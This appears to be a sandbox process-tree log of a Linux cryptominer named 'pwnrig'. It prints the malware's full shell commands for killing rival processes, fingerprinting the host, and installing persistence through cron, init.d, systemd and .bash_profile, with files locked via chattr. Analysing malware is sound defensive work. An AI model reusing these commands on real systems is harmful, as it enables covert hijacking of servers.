/usr/bin/systemctlsystemctl daemon-reload4⤵
- Reads EFI boot settings
PID:2501
-
-
-
/usr/sbin/update-rc.dupdate-rc.d -f pwnrig remove3⤵PID:2527
-
/usr/local/sbin/systemctlsystemctl daemon-reload4⤵PID:2528
-
-
/usr/local/bin/systemctlsystemctl daemon-reload4⤵PID:2528
-
-
/usr/sbin/systemctlsystemctl daemon-reload4⤵PID:2528
-
-
/usr/bin/systemctlsystemctl daemon-reload4⤵
- Reads EFI boot settings
PID:2528
-
-
-
/usr/bin/rmrm -rf /bin/initdr3⤵PID:2554
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/initdr3⤵
- Writes file to system bin folder
PID:2555
-
-
/usr/bin/teetee /etc/init.d/pwnrig3⤵
- Modifies init.d
PID:2557
-
-
/usr/bin/sedsed -i "1 s/-e //" /etc/init.d/pwnrig3⤵
- Modifies init.d
PID:2558
-
-
/usr/bin/chmodchmod +x /etc/init.d/pwnrig /bin/initdr3⤵PID:2559
-
-
/usr/sbin/update-rc.dupdate-rc.d pwnrig defaults3⤵PID:2560
-
/usr/local/sbin/systemctlsystemctl daemon-reload4⤵PID:2561
-
-
/usr/local/bin/systemctlsystemctl daemon-reload4⤵PID:2561
-
-
/usr/sbin/systemctlsystemctl daemon-reload4⤵PID:2561
-
-
/usr/bin/systemctlsystemctl daemon-reload4⤵
- Reads EFI boot settings
PID:2561
-
-
-
/usr/sbin/update-rc.dupdate-rc.d pwnrig enable3⤵PID:2600
-
/usr/local/sbin/systemctlsystemctl --quiet enable pwnrig4⤵PID:2601
-
-
/usr/local/bin/systemctlsystemctl --quiet enable pwnrig4⤵PID:2601
-
-
/usr/sbin/systemctlsystemctl --quiet enable pwnrig4⤵PID:2601
-
-
/usr/bin/systemctlsystemctl --quiet enable pwnrig4⤵PID:2601
-
-
/usr/local/sbin/systemctlsystemctl daemon-reload4⤵PID:2602
-
-
/usr/local/bin/systemctlsystemctl daemon-reload4⤵PID:2602
-
-
/usr/sbin/systemctlsystemctl daemon-reload4⤵PID:2602
-
-
/usr/bin/systemctlsystemctl daemon-reload4⤵
- Reads EFI boot settings
PID:2602
-
-
-
/usr/bin/chattrchattr +i +a /etc/init.d/pwnrig /bin/initdr3⤵
- Attempts to change immutable files
PID:2628
-
-
/usr/bin/whichwhich systemctl3⤵PID:2629
-
-
/usr/bin/chattrchattr -i -a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr3⤵
- Attempts to change immutable files
PID:2630
-
-
/usr/bin/rmrm -rf /bin/sysdr3⤵PID:2631
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/sysdr3⤵
- Writes file to system bin folder
PID:2632
-
-
/usr/bin/teetee /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service3⤵
- Modifies systemd
PID:2634
-
-
/usr/bin/sedsed -i "1 s/-e //" /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service3⤵PID:2635
-
-
/usr/bin/chattrchattr +i +a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr3⤵PID:2636
-
-
/usr/bin/systemctlsystemctl enable pwnrige.service3⤵
- Reads EFI boot settings
PID:2637
-
-
/usr/bin/systemctlsystemctl enable pwnrigl.service3⤵PID:2663
-
-
/usr/bin/systemctlsystemctl daemon-reload3⤵PID:2689
-
-
/usr/bin/systemctlsystemctl reload-or-restart pwnrige.service3⤵
- Reads EFI boot settings
PID:2717
-
-
-
/usr/bin/hostnamehostname -I1⤵PID:2418
-
/usr/bin/awkawk "{print \$1}"1⤵PID:2420
-
/usr/bin/grepgrep "Port "1⤵PID:2423
-
/usr/bin/headhead -n 11⤵PID:2424
-
/usr/bin/awkawk "{print \"-\"\$2}"1⤵PID:2425
-
/usr/bin/catcat /etc/ssh/sshd_config1⤵PID:2422
-
/usr/bin/cutcut -d: -f21⤵PID:2432
-
/usr/bin/sedsed -e "s/^ *//"1⤵PID:2433
-
/usr/bin/sedsed -e "s/\$//"1⤵PID:2434
-
/usr/bin/grepgrep -m 1 "model name" /proc/cpuinfo1⤵
- Checks CPU configuration
PID:2431
-
/usr/bin/awkawk "{print \$1}"1⤵PID:2437
-
/usr/bin/awkawk "{print \$4}"1⤵PID:2440
-
/usr/bin/awkawk "{print \$4}"1⤵PID:2443
-
/tmp/service-agent/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d1⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads CPU attributes
- Reads hardware information
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
PID:2774 -
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""2⤵PID:2798
-
/usr/bin/whoamiwhoami3⤵PID:2809
-
-
/usr/bin/hostnamehostname3⤵PID:2810
-
-
/usr/bin/grepgrep -c "^processor" /proc/cpuinfo3⤵
- Checks CPU configuration
PID:2811
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵PID:2827
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"3⤵PID:2829
-
-
/usr/bin/psps -A "-ostat,ppid"3⤵
- Reads CPU attributes
PID:2828
-
-
/usr/bin/idid -u3⤵PID:2831
-
-
/usr/bin/grepgrep -v grep3⤵PID:2834
-
-
/usr/bin/grepgrep /etc/cron3⤵PID:2833
-
-
/usr/bin/psps x3⤵
- Reads CPU attributes
- Reads runtime system information
PID:2832
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵PID:2836
-
/usr/bin/idid -u3⤵PID:2837
-
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"3⤵PID:2842
-
-
/usr/bin/grepgrep -v /usr/sbin/httpd3⤵PID:2841
-
-
/usr/bin/grepgrep -v -- "-bash[[:space:]]*\$"3⤵PID:2840
-
-
/usr/bin/grepgrep -v grep3⤵PID:2839
-
-
/usr/bin/psps aux3⤵
- Reads CPU attributes
PID:2838
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"2⤵PID:2844
-
/usr/bin/idid -u3⤵PID:2845
-
-
-
/usr/bin/hostnamehostname -I1⤵
- Attempts to change immutable files
PID:2801
-
/usr/bin/awkawk "{print \$1}"1⤵PID:2803
-
/usr/bin/grepgrep "Port "1⤵PID:2806
-
/usr/bin/awkawk "{print \"-\"\$2}"1⤵PID:2808
-
/usr/bin/headhead -n 11⤵PID:2807
-
/usr/bin/catcat /etc/ssh/sshd_config1⤵PID:2805
-
/usr/bin/sedsed -e "s/\$//"1⤵PID:2817
-
/usr/bin/sedsed -e "s/^ *//"1⤵PID:2816
-
/usr/bin/cutcut -d: -f21⤵PID:2815
-
/usr/bin/grepgrep -m 1 "model name" /proc/cpuinfo1⤵
- Checks CPU configuration
PID:2814
-
/usr/bin/awkawk "{print \$1}"1⤵PID:2820
-
/usr/bin/awkawk "{print \$4}"1⤵PID:2823
-
/usr/bin/awkawk "{print \$4}"1⤵PID:2826
-
/usr/bin/wcwc -l1⤵PID:2851
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"1⤵PID:2850
-
/usr/bin/grepgrep -- "-bash[[:space:]]*\$"1⤵PID:2849
-
/usr/bin/grepgrep -v grep1⤵PID:2848
-
/usr/bin/psps aux1⤵
- Reads CPU attributes
- Reads runtime system information
PID:2847
-
/tmp/sys-helper/tmp/sys-helper1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:2852
-
/usr/bin/crontabcrontab -r1⤵PID:2853
-
/usr/bin/pkillpkill -f .klibsystem51⤵
- Reads CPU attributes
PID:2854
-
/usr/bin/pkillpkill -f .klibsystem41⤵
- Reads CPU attributes
PID:2855
-
/usr/bin/bashbash -c "echo \"* * * * * /var/run/.klibsystem5 >/dev/null 2>&1\" | crontab -"1⤵PID:2856
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:2858
-
-
/usr/bin/chattrchattr -ia /etc/cron.d/.lib-knlib41⤵PID:2859
-
/usr/bin/chattrchattr +ia /etc/cron.d/.lib-knlib41⤵PID:2860
-
/usr/bin/chattrchattr -ia /var/spool/cron/.lib-knlib41⤵PID:2861
-
/usr/bin/chattrchattr +ia /var/spool/cron/.lib-knlib41⤵PID:2862
-
/usr/bin/chattrchattr -ia /etc/cron.hourly/.lib-knlib41⤵PID:2863
-
/usr/bin/chattrchattr +ia /etc/cron.hourly/.lib-knlib41⤵PID:2864
-
/usr/bin/chattrchattr -ia /etc/cron.daily/.lib-knlib41⤵
- Attempts to change immutable files
PID:2865
-
/usr/bin/chattrchattr +ia /etc/cron.daily/.lib-knlib41⤵PID:2866
-
/usr/bin/chattrchattr -ia /etc/cron.weekly/.lib-knlib41⤵
- Attempts to change immutable files
PID:2867
-
/usr/bin/chattrchattr +ia /etc/cron.weekly/.lib-knlib41⤵PID:2868
-
/usr/bin/chattrchattr -ia /etc/cron.monthly/.lib-knlib41⤵PID:2869
-
/usr/bin/chattrchattr +ia /etc/cron.monthly/.lib-knlib41⤵
- Attempts to change immutable files
PID:2870
-
/usr/bin/chattrchattr -ia /etc/anacrontab1⤵PID:2871
-
/usr/bin/chattrchattr +ia /etc/anacrontab1⤵PID:2872
-
/tmp/service-agent/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d -pwn1⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads CPU attributes
- Reads hardware information
- Enumerates kernel/hardware configuration
PID:2873 -
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""2⤵PID:2874
-
/usr/bin/whoamiwhoami3⤵PID:2885
-
-
/usr/bin/hostnamehostname3⤵PID:2886
-
-
/usr/bin/grepgrep -c "^processor" /proc/cpuinfo3⤵
- Checks CPU configuration
PID:2887
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵PID:2903
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"3⤵PID:2905
-
-
/usr/bin/psps -A "-ostat,ppid"3⤵
- Reads CPU attributes
PID:2904
-
-
/usr/bin/idid -u3⤵PID:2907
-
-
/usr/bin/grepgrep -v grep3⤵PID:2910
-
-
/usr/bin/grepgrep /etc/cron3⤵PID:2909
-
-
/usr/bin/psps x3⤵
- Reads CPU attributes
PID:2908
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then SNIFFDIR='/bin';PWNDIR='/bin'; else rm -rf /tmp/.pwn 2>/dev/null;mkdir /tmp/.pwn 2>/dev/null;SNIFFDIR='/tmp/.pwn';PWNDIR='/tmp';fi;PWNRIG='pwnrig';PWNRIGE='pwnrige';PWNRIGL='pwnrigl';CROND='crondr';SYSD='sysdr';INITD='initdr';BPROFILE='bprofr';MINER='/tmp/service-agent';PROGRAM='-bash';if [ `id -u 2>/dev/null` -eq '0' ]; then chattr -i -a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;fi;rm -rf \$SNIFFDIR/\$BPROFILE 2>/dev/null;sed -i \"/\$BPROFILE/d\" ~/.bash_profile 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$BPROFILE 2>/dev/null;echo \"cp -f -r -- \$SNIFFDIR/\$BPROFILE \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null\" >> ~/.bash_profile 2>/dev/null;if [ `id -u 2>/dev/null` -eq '0' ]; then chattr +i +a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly 2>/dev/null;chattr -i -a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$CROND 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$CROND 2>/dev/null;echo -e \"#!/bin/bash\\ncp -f -r -- \$SNIFFDIR/\$CROND \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/cron.d/\$PWNRIG /etc/cron.daily/\$PWNRIG /etc/cron.hourly/\$PWNRIG /etc/cron.monthly/\$PWNRIG /etc/cron.weekly/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/cron.*/\$PWNRIG 2>/dev/null;chmod +x /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND 2>/dev/null;chattr +i +a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;if which chkconfig > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;chkconfig \$PWNRIG off 2>/dev/null;chkconfig --del \$PWNRIG 2>/dev/null;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n#\\n# \$PWNRIG Start/Stop the \$PWNRIG clock daemon.\\n#\\n# chkconfig: 2345 90 60\\n# description: \$PWNRIG (by pwned)\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;chkconfig --add \$PWNRIG 2>/dev/null;chkconfig \$PWNRIG on 2>/dev/null;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which update-rc.d > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;update-rc.d -f \$PWNRIG disable >/dev/null 2>&1;update-rc.d -f \$PWNRIG remove >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n### BEGIN INIT INFO\\n# Provides: \$PWNRIG\\n# Required-Start: \$all\\n# Required-Stop:\\n# Default-Start: 2 3 4 5\\n# Default-Stop:\\n# Short-Description: \$PWNRIG (by pwned)\\n### END INIT INFO\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;update-rc.d \$PWNRIG defaults >/dev/null 2>&1;update-rc.d \$PWNRIG enable >/dev/null 2>&1;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which systemctl > /dev/null 2>&1; then chattr -i -a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$SYSD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$SYSD 2>/dev/null;echo -e \"[Unit]\\nDescription=\$PWNRIG\\n\\nWants=network.target\\nAfter=syslog.target network-online.target\\n\\n[Service]\\nType=forking\\nExecStart=/bin/bash -c 'cp -f -r -- \$SNIFFDIR/\$SYSD \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null'\\nRestart=always\\nKillMode=process\\n\\n[Install]\\nWantedBy=multi-user.target\" | tee /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service >/dev/null;sed -i '1 s/-e //' /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service 2>/dev/null;chattr +i +a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;systemctl enable \$PWNRIGE.service 2> /dev/null;systemctl enable \$PWNRIGL.service 2> /dev/null;systemctl daemon-reload 2> /dev/null;systemctl reload-or-restart \$PWNRIGE.service 2> /dev/null;systemctl reload-or-restart \$PWNRIGL.service 2> /dev/null;fi;fi"2⤵
- Writes file to tmp directory
PID:2912 -
/usr/bin/idid -u3⤵PID:2913
-
-
/usr/bin/idid -u3⤵PID:2914
-
-
/usr/bin/chattrchattr -i -a /bin/bprofr "~/.bash_profile"3⤵PID:2915
-
-
/usr/bin/rmrm -rf /bin/bprofr3⤵PID:2916
-
-
/usr/bin/sedsed -i /bprofr/d "~/.bash_profile"3⤵
- Attempts to change immutable files
PID:2917
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/bprofr3⤵
- Writes file to system bin folder
PID:2918
-
-
/usr/bin/idid -u3⤵PID:2919
-
-
/usr/bin/chattrchattr +i +a /bin/bprofr "~/.bash_profile"3⤵PID:2920
-
-
/usr/bin/mkdirmkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly3⤵PID:2921
-
-
/usr/bin/chattrchattr -i -a /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr3⤵PID:2922
-
-
/usr/bin/rmrm -rf /bin/crondr3⤵PID:2923
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/crondr3⤵
- Writes file to system bin folder
PID:2924
-
-
/usr/bin/teetee /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig3⤵
- Creates/modifies Cron job
PID:2926
-
-
/usr/bin/sedsed -i "1 s/-e //" /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig3⤵
- Creates/modifies Cron job
PID:2927
-
-
/usr/bin/chmodchmod +x /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr3⤵PID:2928
-
-
/usr/bin/chattrchattr +i +a /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr3⤵PID:2929
-
-
/usr/bin/whichwhich chkconfig3⤵PID:2930
-
-
/usr/bin/whichwhich update-rc.d3⤵PID:2931
-
-
/usr/bin/chattrchattr -i -a /etc/init.d/pwnrig /bin/initdr3⤵PID:2932
-
-
/usr/sbin/update-rc.dupdate-rc.d -f pwnrig disable3⤵
- Flushes firewall rules
PID:2933 -
/usr/local/sbin/systemctlsystemctl --quiet disable pwnrig4⤵PID:2934
-
-
/usr/local/bin/systemctlsystemctl --quiet disable pwnrig4⤵PID:2934
-
-
/usr/sbin/systemctlsystemctl --quiet disable pwnrig4⤵PID:2934
-
-
/usr/bin/systemctlsystemctl --quiet disable pwnrig4⤵PID:2934
-
-
/usr/local/sbin/systemctlsystemctl daemon-reload4⤵PID:2960
-
-
/usr/local/bin/systemctlsystemctl daemon-reload4⤵PID:2960
-
-
/usr/sbin/systemctlsystemctl daemon-reload4⤵PID:2960
-
-
/usr/bin/systemctlsystemctl daemon-reload4⤵
- Reads EFI boot settings
- Enumerates kernel/hardware configuration
PID:2960
-
-
-
/usr/sbin/update-rc.dupdate-rc.d -f pwnrig remove3⤵PID:2986
-
/usr/local/sbin/systemctlsystemctl daemon-reload4⤵PID:2987
-
-
/usr/local/bin/systemctlsystemctl daemon-reload4⤵PID:2987
-
-
/usr/sbin/systemctlsystemctl daemon-reload4⤵PID:2987
-
-
/usr/bin/systemctlsystemctl daemon-reload4⤵PID:2987
-
-
-
/usr/bin/rmrm -rf /bin/initdr3⤵PID:3013
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/initdr3⤵
- Writes file to system bin folder
PID:3014
-
-
/usr/bin/teetee /etc/init.d/pwnrig3⤵
- Modifies init.d
PID:3016
-
-
/usr/bin/sedsed -i "1 s/-e //" /etc/init.d/pwnrig3⤵PID:3017
-
-
-
/usr/bin/hostnamehostname -I1⤵PID:2877
-
/usr/bin/awkawk "{print \$1}"1⤵PID:2879
-
/usr/bin/headhead -n 11⤵PID:2883
-
/usr/bin/awkawk "{print \"-\"\$2}"1⤵PID:2884
-
/usr/bin/grepgrep "Port "1⤵PID:2882
-
/usr/bin/catcat /etc/ssh/sshd_config1⤵PID:2881
-
/usr/bin/sedsed -e "s/\$//"1⤵PID:2893
-
/usr/bin/sedsed -e "s/^ *//"1⤵PID:2892
-
/usr/bin/cutcut -d: -f21⤵PID:2891
-
/usr/bin/grepgrep -m 1 "model name" /proc/cpuinfo1⤵
- Checks CPU configuration
PID:2890
-
/usr/bin/awkawk "{print \$1}"1⤵PID:2896
-
/usr/bin/awkawk "{print \$4}"1⤵PID:2899
-
/usr/bin/awkawk "{print \$4}"1⤵PID:2902
-
/usr/bin/crontabcrontab -r1⤵PID:3308
-
/usr/bin/pkillpkill -f .klibsystem51⤵
- Reads CPU attributes
- Reads runtime system information
PID:3309
-
/usr/bin/pkillpkill -f .klibsystem41⤵
- Reads CPU attributes
PID:3310
-
/usr/bin/bashbash -c "echo \"* * * * * /home/.klibsystem5 >/dev/null 2>&1\" | crontab -"1⤵PID:3311
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:3313
-
-
/usr/bin/chattrchattr -ia /etc/cron.d/.lib-knlib41⤵PID:3314
-
/usr/bin/chattrchattr +ia /etc/cron.d/.lib-knlib41⤵
- Attempts to change immutable files
PID:3315
-
/usr/bin/chattrchattr -ia /var/spool/cron/.lib-knlib41⤵
- Attempts to change immutable files
PID:3316
-
/usr/bin/chattrchattr +ia /var/spool/cron/.lib-knlib41⤵PID:3317
-
/usr/bin/chattrchattr -ia /etc/cron.hourly/.lib-knlib41⤵PID:3318
-
/usr/bin/chattrchattr +ia /etc/cron.hourly/.lib-knlib41⤵
- Attempts to change immutable files
PID:3319
-
/usr/bin/chattrchattr -ia /etc/cron.daily/.lib-knlib41⤵PID:3320
-
/usr/bin/chattrchattr +ia /etc/cron.daily/.lib-knlib41⤵PID:3321
-
/usr/bin/chattrchattr -ia /etc/cron.weekly/.lib-knlib41⤵PID:3322
-
/usr/bin/chattrchattr +ia /etc/cron.weekly/.lib-knlib41⤵
- Attempts to change immutable files
PID:3323
-
/usr/bin/chattrchattr -ia /etc/cron.monthly/.lib-knlib41⤵
- Attempts to change immutable files
PID:3324
-
/usr/bin/chattrchattr +ia /etc/cron.monthly/.lib-knlib41⤵PID:3325
-
/usr/bin/chattrchattr -ia /etc/anacrontab1⤵
- Attempts to change immutable files
PID:3326
-
/usr/bin/chattrchattr +ia /etc/anacrontab1⤵PID:3327
-
/tmp/sys-helper/tmp/sys-helper1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:3328
-
/tmp/service-agent/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d -pwn1⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads hardware information
- Enumerates kernel/hardware configuration
PID:3329 -
